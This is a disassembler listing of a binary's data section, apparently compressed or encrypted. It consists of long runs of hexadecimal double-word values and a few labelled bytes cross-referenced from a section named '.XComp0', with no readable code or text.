		dd 8FA04ECDh, 43BA971Eh, 55AD10FDh, 1643006Eh, 494A65B3h
		dd 7A00E5D0h, 0AB380206h, 0C9A43070h, 0B2DEFA58h, 0FAFC79A6h
		dd 53090436h, 0BCA02CBDh, 880FC423h, 0FB2F91F3h, 0D14C69F2h
		dd 2F721370h, 0B702C1F8h, 961031E7h, 93E0D14Dh,	4E6BB505h
		dd 0B2DDB696h, 2EBB3114h, 0B71EC2E3h, 0DEA5390Dh, 0B5E84BE6h
		dd 4EBF25E6h, 0E9C0B5DDh, 73B70A45h, 23BA62Ah, 6B4B9B37h
		dd 0ACAB8275h, 535FD1Dh, 4E811B91h, 0C038E119h,	184FEE0Ah
		dd 0C2C82813h, 0CF0C0157h, 0B3E738CEh, 0D5A08BE4h, 701BF405h
		dd 0F7068160h, 46921B5Ah, 61F125F8h, 9B16E944h,	0DCEB348Eh
		dd 50613190h, 5B56DAD7h, 7939B82Bh, 3382DB05h, 6BEF31ADh
		dd 1CD47F0h, 7FFBBBB5h,	0E66E3105h, 0D4D8B50Ah,	96A900B5h
		dd 5886D2DFh, 0D39D6A7Ah, 8B7B78F8h, 0D625DE97h, 0F9004986h
		dd 0B843F847h, 9098C174h, 387BB7FDh, 73B3D43Fh,	119A7AF9h
		dd 30C215C8h, 80D7647h,	50172031h, 962EA2BDh, 79EF0C05h
		dd 0D9418B14h, 50D6E2Bh, 0A011B041h, 65C384EAh,	871A094h
		dd 0A78BE59Dh, 3802A335h, 5D26CAFAh, 0FC27DDEDh, 0F907DC8Eh
		dd 0CCDB8E98h, 82ABE8F5h, 0E40F265Ch, 21BCDF8Bh, 1512293Eh
		dd 0A829EF27h, 5CF631F1h, 364C03Fh, 0E025126Fh,	5CD0C60Ah
		dd 855A630Bh, 0C9292A5Dh, 9DE65FE8h, 21402896h,	0B9631Bh
		dd 94F7B62h, 1710C54Ah,	0E8049997h, 0BEC75741h,	4AEFD7C4h
		dd 0FF168277h, 0CA5ADD5Ch, 51735D82h, 0CAB270h,	0ED502A6Eh
		dd 6BBB776Dh, 4050789Fh, 2BE78B20h, 88DFF4B8h, 1CEA2B41h
		dd 4A0D7BD6h, 0A1D7A00Bh, 0C4F6124Eh, 7AB76AD7h, 0D710050Ch
		dd 0E1B96060h, 22953101h, 0BC612617h, 0E3B1D207h, 0E8600A97h
		dd 7E65B46Ch, 62E9250Dh, 9B4D30E2h, 7D0179E2h, 8B2F3864h
		dd 2F0853C1h, 0DD2DC5D9h, 0AD80FA3Fh, 0A44EB018h, 316006F9h
		dd 79123585h, 218D9D1Ah, 0F6D975F1h, 8044FF0Bh,	993459DBh
		dd 0E0FE4A89h, 3246555h, 70DE7C90h, 0F8B501C9h,	0ADA26B41h
		dd 0EAE82A8Bh, 87CD959Dh, 14CB8101h, 0AD1274F1h, 706E5B6Ah
		dd 5002BC1h, 0AFED2ADDh, 0A124D6B4h, 57C60DACh,	2E12DF4Ch
		dd 8AAB451Eh, 23D3012Ah, 25A8A0D8h, 0F5A887B2h,	13CAD829h
		dd 7AFE3B6Bh, 0D70C508Fh, 7AAA755Eh, 716B1D9Ch,	0AA581640h
		dd 12AC76E9h, 82B19501h, 70665041h, 3CBBCA02h, 77A5AA9Ch
		dd 0DDD25E53h, 0D82FA5D3h, 170D20DFh, 51950908h, 2B62B32Ah
		dd 6E1125F9h, 42E00DA7h, 8A2FCEF3h, 0AF1B55D9h,	5BED258Ch
		dd 51878B8h, 0E1C4150Ch, 0B7449526h, 9FD1FF29h,	220B2480h
		dd 97344AFEh, 7A4B5394h, 0C8C44CB9h, 0E3D9ABA5h, 0BF2FE06Eh
		dd 7E90FF25h, 0BE5065DBh, 0C25F3333h, 0E0064D90h, 0A0CF9E3Ah
		dd 0AD403904h, 2EA01085h, 8760820Ch, 0BA9F095Dh, 0BF5977C3h
		dd 2344527h, 794AF562h,	420D249h, 280D1BEh, 0DDE2020Ch
		dd 751252E7h, 830F8F44h, 0DF7B8CABh, 72AD42F6h,	0C848FE63h
		dd 1B0A13C7h, 5236F01Fh, 2F4BB7E1h, 6AAF9674h, 0B90070D2h
		dd 0D5A73991h, 97505E41h, 5A971910h, 92928C3Dh,	0A15749B8h
		dd 1387F29Bh, 483AF07Ah, 504A83B8h, 24DB6BEFh, 68C1CB16h
		dd 0DB2B6B8Eh, 0C91C887Ch, 5C3C5FFh, 0BA253595h, 395DC7D8h
		dd 0B93E0666h, 95855462h, 8078FBDDh, 0F2A29ABBh, 6A7DF578h
		dd 0B5E68A7Bh, 0D717713Ah, 0C8FBA5D4h, 0F24595Dh, 0A98902EFh
		dd 11377B1Ch, 870F1B03h, 0B0FC810Bh, 31538C2Fh,	22EC6C5Ah
		dd 48EC4B80h, 230B79AAh, 8270E63Eh, 21FE50Ch, 0C1D571E4h
		dd 742FB64Bh, 0C3B3EB2Eh, 1459BD09h, 0FC692879h, 160913B4h
		dd 0A789FF22h, 1F2E3B25h, 0BE8DD214h, 0C82BF3C1h, 56F15750h
		dd 71C0788h, 43C3AEDCh,	57A0FECDh, 0D1588B4Ch, 0BC0676A0h
		dd 83E90CD4h, 0FB4C537h, 4D6C2C3h, 0BD42235Eh, 63B71825h
		dd 0B50AD7h, 405EE76Eh,	0D4119F2h, 0C4759DD8h, 0F24FE9A3h
		dd 0E6DA252Ah, 251CB016h, 17E4B6A0h, 13313944h,	0EE2EF5B5h
		dd 5500FCCh, 8D1147D8h,	7D6DAABFh, 0BF30702Eh, 5590D470h
		dd 247A0454h, 2ED8784Bh, 0FAB14127h, 5E619940h,	0BB98C097h
		dd 74A21324h, 1512FA69h, 98BB0F85h, 78FFB92Dh, 7C292D6Bh
		dd 0FCDA4CBAh, 5BF8571Dh, 0CB6BCD25h, 0BACCA7F4h, 1C22E10h
		dd 0C02B62D1h, 0E3FBCED8h, 14CAFBC5h, 14EB8180h, 305015D9h
		dd 0CD4BF9C3h, 0B7CF8DBCh, 39E6F529h, 1A97DAF2h, 3B7E469Dh
		dd 0C884D4E3h, 0B8457B50h, 0B06BAD85h, 0BB801311h, 0D5A812C0h
		dd 8852E214h, 4564A750h, 8072453Bh, 0F619BDEEh,	4AE73B22h
		dd 3831EE1Ch, 8003184Dh, 525C70F2h, 911586Ah, 0D077344Fh
		dd 72F380BDh, 0CEB4E1E8h, 5E76FB40h, 942E07F4h,	283793h
		dd 3BBCA79Ah, 6AE0904h,	49B85FFEh, 292247A2h, 94BFDB5h
		dd 0D2398DB1h, 1AE367DDh, 37DD3249h, 0F59C8091h, 386BC764h
		dd 6B541497h, 8A724FE5h, 77012D20h, 0B58D7861h,	0FC6BC8FCh
		dd 0D113D4F8h, 5004FC7Eh, 66ADD98Ch, 0DF00A8B8h, 0B1DB9F4h
		dd 9704999Dh, 7A826712h, 3A5C6D83h, 0DEEB7B97h,	803F8B52h
		dd 7540BE6h, 0E3775FC4h, 256348BEh, 0EDBB5F75h,	0DA7DB5E1h
		dd 0C9A23A57h, 0DC7F0AD7h, 950B0966h, 8057994Ah, 2AB6BC94h
		dd 6E905F65h, 289D0037h, 0B33F6F46h, 0DE8A353Ch, 9299A891h
		dd 0BD8236DBh, 6D7DDE8Bh, 310F0912h, 8741D95Eh,	45DC1EE6h
		dd 183C01D7h, 0AEBF9649h, 75B53A1Ch, 66613042h,	0DFBA00D8h
		dd 0F222B716h, 370002FFh, 268AFB21h, 3D60A5AEh,	0A227BD94h
		dd 0FEF824FFh, 4F2931ABh, 850F01C9h, 0DACB4D78h, 0E45D014Ah
		dd 88E1000Fh, 0E6B1B0A1h, 23028E10h, 63645125h,	0BE30FDD0h
		dd 584E5FDEh, 0A9E222A6h, 64E54D7Dh, 0EBE26016h, 0DF80121Bh
		dd 0A9C00E23h, 8975EF13h, 74382BBh, 7889E904h, 0AD04847Ah
		dd 8C18AC7Bh, 0D9520602h, 0E8FC23A0h, 2576898Fh, 74C6EEB3h
		dd 75588B95h, 68AD533Dh, 0E5169B16h, 5DD8DD42h,	0BD1007ECh
		dd 0E9626A1h, 0ED77AD6Dh, 8C16BC79h, 8AC8F302h,	5C28DB80h
		dd 0E781001Bh, 4AB031D2h, 95B8965Eh, 0ACEF1C0h,	79483B4Ch
		dd 505F1762h, 4167C8EBh, 95ADD000h, 1F592D16h, 5FAC00C9h
		dd 7C6E445Ah, 1E1FEF28h, 77ADA854h, 5050AA19h, 1D911532h
		dd 290E1415h, 0DCD82F2Dh, 143FD023h, 0CC6D6007h, 0E3F0BB36h
		dd 285F58A5h, 12DC965Bh, 0C9CD92CBh, 0B7A43FD1h, 9FE3004Bh
		dd 0FFFA6720h, 41BDE45Ah, 2E0911D6h, 0BB0018E6h, 66E6D141h
		dd 6127E68h, 34AB91C9h,	0DA2AB6Bh, 0C2B46B04h, 0E2D68343h
		dd 8E7D5FE2h, 55FD6209h, 12DA766Eh, 0F1D8BA2Bh,	0C170E351h
		dd 0D4074B25h, 8009AEF7h, 609862DEh, 971EE990h,	614BEC4Eh
		dd 5E4E58F4h, 0B2B7E7F8h, 0F63A3018h, 0D7DE8D12h, 0FC9212B2h
		dd 21DB5BF2h, 0C02F4DC5h, 0E947E7ABh, 771A4169h, 0A6C0DBEDh
		dd 95A1198Eh, 0EA55DA62h, 984DFDE0h, 0C0D09E7Ch, 4F628587h
		dd 6C359602h, 0D6BDE8C0h, 0F7424F59h, 0E857F9E0h, 9D5BF85Ch
		dd 0E9845FE4h, 6B4A8F00h
		dd 8C3FA23Dh, 0E7B71241h, 8839E218h, 0CCB5695Dh, 27C1DD83h
		dd 5EC0B47Ch, 9806056h,	0F28B76C4h, 63F52289h, 318BD486h
		dd 47B2034h, 181E89EBh,	0BE10590Ch, 8509E127h, 8CB77EE1h
		dd 8042A9A4h, 0FEEB1710h, 0A8AF2551h, 6FBFD75Ah, 4EE060CAh
		dd 844FA114h, 8B130BB9h, 33DABADFh, 79D5D897h, 0BD9D3115h
		dd 0F960B89h, 1EE27382h, 1637ED50h, 8FA0D52Dh, 9AE7196Ch
		dd 0AC6FB9AAh, 7E2DCDC0h, 0D5CA586Dh, 488DB64Ah, 1E75127Eh
		dd 0B05842E7h, 0C18147C0h, 1900DF63h, 0A5D95120h, 0BF3F8D91h
		dd 3AAC775Bh, 0A6EE2ED6h, 81BD041Dh, 8E2DAE2Eh,	2DA8B439h
		dd 6BA9FCBDh, 0C44AD902h, 77F6BA75h, 0FC076FB5h, 9A50A1A8h
		dd 25635D57h, 79C2351Bh, 263755h, 15BE0C18h, 0C4A39588h
		dd 58090BD2h, 0DC7FBE7Bh, 42E47001h, 0CCA2D8C5h, 97CA61F8h
		dd 0FC669A1Ah, 910BBCF4h, 0E1D0E5C6h, 0FB0420E0h, 23B1799h
		dd 0FC3CE475h, 242E17Eh, 0BFB9F518h, 805038D8h,	8B586D34h
		dd 85D60027h, 49C6ED0Bh, 0E0E272A4h, 2541AA12h,	5B319FC1h
		dd 6B42752Eh, 965E17C9h, 3F63830h, 0FBFC5B41h, 0EECFEF42h
		dd 0C8E65F4Bh, 0CF67C528h, 725DB400h, 0C36345D1h, 76A202AAh
		dd 5F501A77h, 90D906EAh, 0EE434600h, 12D66AB7h,	4F64F42h
		dd 40058FFEh, 0ACAA08BBh, 0B08EAC28h, 0EEF562F5h, 35F75D47h
		dd 851591DBh, 0B2C05DF3h, 4BA84756h, 27548A65h,	0ADAE731Fh
		dd 2E4B8075h, 62CDBh, 0CB444D5Ch, 0C21B7A38h, 5A96F026h
		dd 0D7BD890Bh, 825EC742h, 45561755h, 0EE4B9291h, 0DAFACA75h
		dd 0F7978009h, 46A2ED2h, 0FD8B5E77h, 255C824Dh,	55B7DC2Bh
		dd 18AA5100h, 31F2FC77h, 955EF9C9h, 39E80424h, 0E361D612h
		dd 8E9116Eh, 0ED030200h, 6F9639EEh, 6B8A8F4Bh, 604E4722h
		dd 0B91AED64h
		db 65h,	89h, 0A3h
byte_524F4B	db 89h			; DATA XREF: .XComp0:004530D4o
					; .XComp0:004530E4o
		db 0D1h, 5Bh
word_524F4E	dw 0F4Fh		; DATA XREF: .XComp0:0045323Co
					; .XComp0:00453244o
		dd 0D6D1D9B5h, 45A08FA6h, 0D09F8C33h, 0B5369058h, 0D495845Ah
		dd 0AB94F4C5h, 0CF6E29C0h, 16D47E70h, 0EF5FE9ECh, 20068112h
		dd 2C122CB8h, 0DEE6C18Bh, 927A4900h, 0CC05380Ch, 0BB3F02CEh
		dd 2602B050h, 55395Ch, 0EC11C499h, 904F93AEh, 975C9820h
		dd 537005A4h, 0BBCDB750h, 8AD75C1h, 0FE124509h,	0DE6A74E1h
		dd 0D5778010h, 12C266D1h, 89F7C10Dh, 0F1D82F1Dh, 0C48B513Bh
		dd 624BAC2Ah, 544A46FAh, 80811059h, 0D7F68EBBh,	85310B2Ch
		dd 55C17C9h, 21846D4h, 47397114h, 0B00BD5B8h, 0DB0F90EEh
		dd 0C090CBF2h, 4941641Ah, 0F77BEF50h, 7EFB311Dh, 55D2DC8Ah
		dd 0AE700973h, 0ABF02D2h, 7619D8Bh, 0FD2F527Ah,	0B13A5D2Ah
		dd 0F009A411h, 1A3AF093h, 225B0038h, 0A2E0FA2Eh, 0CD894A84h
		dd 25841CAh, 0FF20F07Eh, 1297D148h, 38EF18D9h, 5ED2B212h
		dd 80249BFAh, 19569035h, 0DE230B59h, 0A4B7026Ah, 270C4F85h
		dd 3D1E74C3h, 0B0FC900Ch, 0E52B2C3Ah, 0DA58A564h, 0EA57F840h
		dd 0B7E197FEh, 0F0973690h, 21162h, 9646F189h, 2FE781AEh
		dd 345F01E4h, 82A8E9E2h, 6C935B09h, 8C68F78Bh, 0C7950EE9h
		dd 17501254h, 0C96FFE82h, 90F7FD16h, 21D9BDE0h,	2CD953B3h
		dd 392B1F4h, 86AF4F71h,	5C34F053h, 98BB63FAh, 655BBD33h
		dd 3EBFD940h, 766397C4h, 8300F50h, 26994E3Dh, 0BBA9140Dh
		dd 0CAC78180h, 414A1DDEh, 9DD9A3D9h, 752B08EDh,	2A81EE6Dh
		dd 95102E8Dh, 6A892551h, 0ADFCD731h, 0DB3EFF13h, 65EFC050h
		dd 0F9F6CEh, 0C848EA90h, 0FB8B53C9h, 0C5C4D695h, 0D7630FE6h
		dd 5B46FDE1h, 0E374A7B0h, 70E6B9F3h, 2D0BBD9h, 817103E4h
		dd 18025DFh, 2765ADE4h,	0E46474C3h, 827CC0B5h, 700BDA4h
		dd 0C88C9817h, 9565169Dh, 0DFFC6C8Bh, 0A5D70367h, 2DB1770Bh
		dd 8CB6129h, 0F84AC193h, 219D8FB4h, 298927C5h, 8B625C85h
		dd 788FC82Bh, 3A7A9686h, 19901F90h, 6CF51464h, 441C7D5Fh
		dd 315F434Ch, 6D4A158Dh, 0F5BC6A84h, 0AA790380h, 0F0013970h
		dd 0A402FA40h, 84E8753Dh, 4D350D51h, 361783h, 16A6CBA4h
		dd 69146725h, 0E9110883h, 600B842Fh, 77AC61F8h,	0CEFC2D2h
		dd 170131D7h, 2AEEA115h, 10AE5D65h, 0F52560DEh,	902D576Ch
		dd 0EB7D5C1h, 82C9EF89h, 8B6C8C5Ch, 0D018F5AEh,	76B78B0Fh
		dd 3A5572DEh, 50C753A7h, 0AD01306Fh, 0B9566BF5h, 0E72E100Fh
		dd 571A0D5h, 53E19FFBh,	0F5E63E07h, 4FB08A46h, 79FB7F3h
		dd 12E8293Ah, 0D74CC8FCh, 8E57E500h, 71DB19B8h,	77C2EB56h
		dd 0FB640C6Fh, 59BB5BC0h, 0D4FC970Fh, 2D9DBD61h, 3BD22B01h
		dd 39802F9Bh, 35EDA838h, 7DBC497h, 86889067h, 0FFE610D6h
		dd 0E058E596h, 1E0110ECh, 13DE5B25h, 0C98640DAh, 4E882509h
		dd 8D006037h, 69FAA172h, 0F341294h, 5140A48Fh, 16EB7AD6h
		dd 0C5C09EF1h, 0A11261C6h, 6B4E51ADh, 5A4349h, 0FF9BD78Ah
		dd 94C7475h, 0B3DBD09h,	0F35A275Ch, 78BF5054h, 9C8AD94Bh
		dd 2A8389D2h, 230B0BFDh, 37FF780Dh, 5F23848Eh, 9E65F80Bh
		dd 406F7CA5h, 3DE0E381h, 0C57AD325h, 0ED9B12CEh, 0ABEC88h
		dd 0ECFB13A6h, 0FFDAE3D8h, 2307E833h, 86CAC164h, 91FE48C0h
		dd 0A1D1805Dh, 6711C11Fh, 4781D505h, 2C95E7B0h,	0E35B11A0h
		dd 0FC8CAC3Bh, 10C2E119h, 0BE096F1Fh, 7ED75696h, 5B2E402Ch
		dd 4FB0647Fh, 0C6E3A416h, 79DE9F49h, 16D7A430h,	0FFEB41DDh
		dd 0E8BA60E1h, 335D7FB7h, 97122202h, 59441914h,	43CF0481h
		dd 0BC233197h, 2261A213h, 0F45CF88Bh, 0FCFE1C51h, 0DC1DF433h
		dd 5413411h, 0E289F59Bh, 60F8E289h, 8C273ED8h, 9A5B7D9h
		dd 0AA89E91Ah, 0BDE7907Dh, 1144B7F1h
		db 0F5h
byte_525345	db 2Eh,	10h, 0F4h	; DATA XREF: .XComp0:00452F4Co
					; .XComp0:004532D4o
		dd 27D112A0h, 14C830B8h, 552608Bh, 0B1D239E7h, 0D5BD4058h
		dd 2B618121h, 0A9811834h, 88988CCh, 135CEB21h, 21646D6h
		dd 50CFC069h, 68597F52h, 88AA7F25h, 0E1D40CCh, 0DC09E990h
		dd 559C2668h, 0E30D91ECh, 865B6E9Fh, 0BFBC282Bh, 5354F09h
		dd 9E85F759h, 3677E383h, 0FC9FE6FEh, 0EDD19F8Ah, 70D9696Fh
		dd 1B8D2299h, 0C988504Bh, 0EA4900F4h, 2E8A1347h, 0FC003FD2h
		dd 2CB086FAh, 0BACB985h, 5FCB5DAFh, 0FB62C15Ch,	0DC37FC58h
		dd 3504BBFEh, 0EA9E6FFFh, 0A36BC8ABh, 0F9DC2800h, 7CCFAA8Eh
		dd 5FFE27BBh, 0DB8430DFh, 8D424BE0h, 4D9DD88Ch,	0D8132B44h
		dd 26D122F9h, 140ACE95h, 931E8C0Fh, 56188784h, 8AA088h
		dd 0F00AFA78h, 92C12E0Bh, 8E9AA107h, 0CE611CC5h, 8A6B9E25h
		dd 0AC204DB0h, 89305A4Ah, 92A42B4Fh, 0D224E2B5h, 3ECBF1B7h
		dd 0B34FA3B7h, 0DECE04DEh, 0A1B94FD2h, 0AEC674Dh, 75F03400h
		dd 31FBF88Fh, 63D2085h,	89B4B31Dh, 0A509C5A4h, 86C57313h
		dd 0AEFEB70Fh, 894368B7h, 0EAF39546h, 3BF5078h,	4FAEB0B8h
		dd 1AD3582h, 558D098Ch,	87800418h, 48A1F1C5h, 0C9488A71h
		dd 9801EEC0h, 0F4045F46h, 8446C39h, 0EA2684EFh,	7800496Fh
		dd 9019AF08h, 0FBECC4CAh, 0EC69B731h, 0AC2B1F9Dh, 6AABA491h
		dd 9C5E0AADh, 9800A84Ch, 0CED7812Eh, 477B00CDh,	22C09F68h
		dd 804E0FECh, 12B7799h,	0FC4360B1h, 0FDB37B13h,	0FA858D12h
		dd 0EBC1119Eh, 0D4F3ED26h, 9D1023BAh, 0B55012B1h, 0D40DD019h
		dd 4E943E04h, 0DB79D517h, 8CF78077h, 0FDC98D01h, 0A5C7AC3Bh
		dd 3BA015F6h, 113E3808h, 0A13504F8h, 0BAC2485Bh, 44BB1004h
		dd 38B7320Bh, 726A7B61h, 0B756B8F5h, 4396978Eh,	343915A0h
		dd 1C9067B5h, 0BD85234Eh, 6983AC6Fh, 4702A8F3h,	2D1B00BBh
		dd 60904F8Ch, 37D7E9C9h, 4C06FAAh, 12F24723h, 4D85CCEFh
		dd 9A8DFA01h, 896D2DE2h, 4BCBC4DAh, 0E92BCE5Bh,	0B346E67Bh
		dd 7549EAFFh, 90BDBEF8h, 4EBEAEh, 0C8321B8Ah, 6F5B7E73h
		dd 2C613A3Dh, 1DE7BFDh,	0EEFFAEE0h, 2FF279FBh, 922A3B28h
		dd 0DACD9D50h, 0F24D6AC1h, 0E1C53720h, 35E7B0Fh, 85A595F7h
		dd 4AADF70Bh, 9CADA9A0h, 4E3FF6FDh, 0C05989EFh,	808271DFh
		dd 0F2DBEB81h, 56B93E14h, 818774A7h, 318F2495h,	301DD4DAh
		dd 82036B3Ch, 0B58A086Dh, 61345EFAh, 7E7BD780h,	0FB4DCA0h
		dd 0F88B50E2h, 96BDDB16h, 5310D8ABh, 49278CB0h,	783ADF07h
		dd 0F78C475h, 558B766Eh, 216F2880h, 9F00DA03h, 0DD82E791h
		dd 4CF03831h, 0D277E349h, 29CDA04Bh, 0E47A275Bh, 0AF87A705h
		dd 0AFAC528Eh, 0B48174DEh, 6E8A89EDh, 0E1803FA8h, 0D2C6A41Dh
		dd 0DDCB471Ch, 4035F725h, 0D84F3027h, 0BFBA17CFh, 0CDE00462h
		dd 0DAA81603h, 52EE1025h, 3D5D317Ch, 4DB94B3Ah,	28C17ACh
		dd 927B27D6h, 2D5EDF8Bh, 0D6B5C820h, 0CC2253Bh,	0CF70CCD3h
		dd 4F1A0031h, 0E75B76BEh, 9B7C2FCh, 77D15530h, 0A015C625h
		dd 9782E056h, 0BD0B0798h, 71242528h, 4A18109Fh,	4320309Bh
		dd 499279E8h, 0FEC60800h, 3611CE06h, 1ED0137Ch,	70CFBCF7h
		dd 0D3546849h, 92BBDAAEh, 0F800FCE6h, 0B794E22Bh, 78488DC0h
		dd 3315108Ah, 0C009F84Bh, 0D8FB03Fh, 0F1A302ACh, 7E5B7F58h
		dd 0BD45647Fh, 306178F6h, 0DFFC12A7h, 0C9F72734h, 5FAD12DDh
		dd 0CD97E772h, 697CC33Ah, 1E2DF7E8h, 0DC4C9A24h, 0EB4008E4h
		dd 0FD301F4Ah, 6FD3D40Ah, 2B0065E9h, 0D50C45A0h, 9E880218h
		dd 5FC15E4Dh, 5C791075h, 987D95ABh, 4DF81FEh, 36AE9FA9h
		dd 0C147BC5Fh, 20B5BD23h, 8B04F32Eh, 0F6867C59h, 225CDE9Fh
		dd 51C005Eh, 0E0BEB1F8h, 0C702C806h, 0F96254Fh,	68FBFD89h
		dd 0B824F080h, 7731B65Fh, 7D449FC3h, 82CE7902h,	5750AAFEh
		dd 0ECBA3780h, 0B5259D8Bh, 0DE0CEE1Eh, 0BF04625Eh, 4FB02B69h
		dd 0A46DE6EEh, 2614E9Ch, 82F25739h, 0DC200CE8h,	99A46Eh
		dd 0E58CA359h, 698F4CBEh, 0F1262598h, 0D55AD619h, 403C3760h
		dd 558D70C2h, 34EE5D34h, 0A9FBBF04h, 31BC2032h,	784F3AA3h
		dd 0CDBC07EDh, 6AE3C04Fh, 67D38101h, 3F58CFC2h,	7D8458ADh
		dd 8F49BC29h, 24F232B7h, 892BA1D3h, 77CCE915h, 1CCCDA0Ah
		dd 9FF525EDh, 631416C5h, 5E10232Ch, 81013251h, 84F1DDF3h
		dd 7322F6Dh, 7AA7160h, 80A44FE0h, 0BE397F1h, 0CF537300h
		dd 4AC9050Fh, 0FA371D85h, 0D3DA2D29h, 0CE95911h, 0FF153017h
		dd 9D575E30h, 0B9355FDBh, 70FC5F2Eh, 80A6DB4Fh,	3EF27B47h
		dd 317D806Ch, 2215681h,	5F28C8D6h, 0DEA1B46Ah, 7326D900h
		dd 29B5339Ch, 2B4B5845h, 2BDDB92Fh, 0A4E45D7Eh,	5A92A080h
		dd 0E5DBFE4Fh, 9B9739C0h, 0EDE65DBFh, 0D7D85658h, 0F4FDDDAAh
		dd 155BE195h, 85CB7EBCh, 795DB057h, 75D9BFF8h, 0D4680BDh
		dd 0D4B99D7Dh, 0D0E7007Fh, 0A130B393h, 372A98C8h, 0B7BDC897h
		dd 0EEC1006Dh, 0C8157E25h, 0FD838C4Eh, 0BDB898D3h, 6A61245Ah
		dd 0CDFFF4B2h, 0D7897A2Bh, 60F846ADh, 5EDD154Bh, 2E69A12Fh
		dd 9D334D30h, 2B18600Dh, 0CB8156D1h, 0DBDDF804h, 4FBC5F6Dh
		dd 2C2AAFA2h, 0F427253Dh, 38ABCE6Fh, 2F5246DDh,	0BE5E026Ah
		dd 0F7CE00DCh, 0BFEBA633h, 8662416Dh, 380B1974h, 3F00CF03h
		dd 70FEA8D3h, 5E90C32Dh, 0CF52057h, 0C20393F1h,	505FEB38h
		dd 0B4BE8860h, 34211787h, 4136C861h, 3640DC0Eh,	78B227DDh
		dd 0D88B90E1h, 23276B3Fh, 0B563071Bh, 1F85EED9h, 53C2FA53h
		dd 0E6ACAB4Dh, 0B037980Ch, 0A7E9256Ch, 9C71965Ch, 9E76A421h
		dd 0C74DB1F0h, 50223A5Bh, 3876556Ah, 1BB9BBE1h,	81D480DEh
		dd 2D508DEFh, 406D34ACh, 31D376C0h, 3D9F04D6h, 0AEA24F4Eh
		dd 8AB95174h, 0B300A5A8h, 9C4AD622h, 4C1E0C78h,	0AAD2AE1Bh
		dd 5514EAD0h, 29AB010Fh, 0B350EE23h, 1AE4253Dh,	3CF5C066h
		dd 915F136h, 9673E031h,	46DC5B5Ch, 2F9241Bh, 173B7201h
		dd 866CAA6Ch, 2F7C780h,	1A98C57Fh, 7DE68101h, 0FDEA80D7h
		dd 4AE9B82Bh, 0A884CC9Fh, 0DD08EB0Eh, 0B5290220h, 0F45E26BDh
		dd 1FEF7EECh, 256A9C59h, 7770CF73h, 50105C50h, 4E4EAB5Bh
		dd 0B1A8D2BFh, 3924CF80h, 1B259A3Ch, 45EFEC22h,	850320F2h
		dd 0E0B01540h, 817000E6h, 0C0B8FCDFh, 7105E462h, 18ADB501h
		dd 0D2C2CCBBh, 97BB41DEh, 72BEC8B6h, 81A8D96Eh,	0FA411387h
		dd 0A46BB7D9h, 38D3C1C5h, 33D32760h, 0E78E97FCh, 0C03CEBE0h
		dd 189291Bh, 8B8BB571h,	9403C82Bh, 6B0410EDh, 0B9CB80D1h
		dd 0BB5220AEh, 142E249Eh, 50029101h, 5E47554Ch,	0DE8A0DE3h
		dd 0B5B0840Ah, 9A1921F9h, 0D0482FD8h, 0E3818019h, 303A86C1h
		dd 0D354E925h, 0AFFB80CDh, 0B05F22B2h, 2FF96F16h, 818D6EB9h
		dd 0E15EC229h, 80423144h, 9FC651C3h, 96030A76h,	38D5AC1Fh
		dd 17B8A0D4h, 0F9FE02C3h, 72BD3148h, 0FCC8F85Eh, 8310DA13h
		dd 2EAF4171h, 0D19FFB61h, 0BCA6AD6Fh, 0AB964E6Bh, 0FA010953h
		dd 76DF1C14h, 89EC322Fh, 0B9425656h, 24F9745Ch,	6700DE4Ah
		dd 99FA312Fh, 242C75A7h, 9265918h, 0C75D07A5h, 6E67E873h
		dd 0E07FC06Bh, 96FCF071h, 0E100DC9Ah, 66C9ADBCh, 4B24B8BBh
		dd 0F56EAF2Bh, 0DA12F00h, 957389Eh, 7B98D12h, 0D394C8B9h
		dd 0FA24FD13h, 3648D7DAh, 0BD104512h, 0E0BD807Eh, 7F318C0Fh
		dd 6C90D9h, 0E2F3E87h, 5A170912h, 48C00C05h, 38F9880Dh
		dd 2E0B87ECh, 0E4282205h, 74AA00B6h, 21DFBB4Bh,	4E27FC13h
		dd 0B535D7B8h, 80BC1B15h
		dd 5CE8292Eh, 90F59A8Fh, 0CB2D0957h, 355E506Bh,	5C400EC4h
		dd 0DA8AB78Eh, 0B06E3000h, 2B1DBEC4h, 0B8324A51h, 1923BBFCh
		dd 0B9E1E00h, 4FB308ECh, 206A8DF8h, 7995A138h, 0AE64E403h
		dd 70917AD8h, 0F61D9CB8h, 53A4C824h, 6148F40Eh,	7BC9A806h
		dd 441352Fh, 0AB18E51Eh, 18C8D78Fh, 838CA1C0h, 29E309C4h
		dd 0C7DD458Dh, 4550E78h, 0CE6FAA17h, 0F71C616h,	1984CA14h
		dd 0A277BC24h, 18F65540h, 416327F4h, 8939907Dh,	2DA12785h
		dd 0D47144F4h, 0B75F5EADh, 0A0011684h, 66801305h, 4BEB12BFh
		dd 0E0CAA660h, 123A6DEEh, 0F601F467h, 0D98C1596h, 43AAC2Ah
		dd 484A5A8Dh, 4BE3ACA8h, 73B9BA85h, 9F04E0B8h, 1288E47h
		dd 8A3BD5BDh, 8009DE4Eh, 5D2B79E2h, 1E3D09EFh, 0C05EECDAh
		dd 754BDC7h, 0E76E2E29h, 8E890901h, 6B95BD29h, 7BFE990h
		dd 81C07A1h, 9B6CB750h,	0DC6974h, 20F3DCDAh, 916E136Bh
		dd 0BD0560E1h, 7BAF274Ah, 18900EDAh, 5476C23Dh,	0DC9C5766h
		dd 25B75309h, 45868C5Bh, 2428E360h, 931FA380h, 8800B510h
		dd 0BC1DB935h, 776106CDh, 0DA333A66h, 0CC568BAFh, 1AB86040h
		dd 0BEFB4F17h, 0D8FECB24h, 61295FDEh, 50A48B5Ah, 36067E0Fh
		dd 0FD15F349h, 0B0CBBC4Dh, 5A1E7BC9h, 0D6D98850h, 68545E00h
		dd 0EBD4350Eh, 0A2303E5h, 0EF3E478Fh, 346005C8h, 7629ECB5h
		dd 4102600Fh, 64E958B3h, 0D844DBBFh, 0E001B1C2h, 96A7E4F3h
		dd 0F488B31Dh, 890E0411h, 4EE7DD8Dh, 73409D4Bh,	0DE951F22h
		dd 0D0D6C234h, 3769FF5Eh, 0B0CB9746h, 0DC9715A8h, 4155C9AFh
		dd 51300606h, 0B27649B2h, 7045F297h, 4F137A00h,	58A34511h
		dd 3FB50B71h, 685DC6B9h, 881B1D45h, 0E31767BBh,	0D2846518h
		dd 0E085F6FBh, 0B8F8998h, 0F39058CCh, 0B70061C4h, 0A9D7A8E2h
		dd 1CB57BE0h, 0CEBC2781h, 47A426C3h, 6663AF67h,	5879B861h
		dd 5B4C2868h, 97F8E2CAh, 0A8E2A28Eh, 60D5746Bh,	95B509A6h
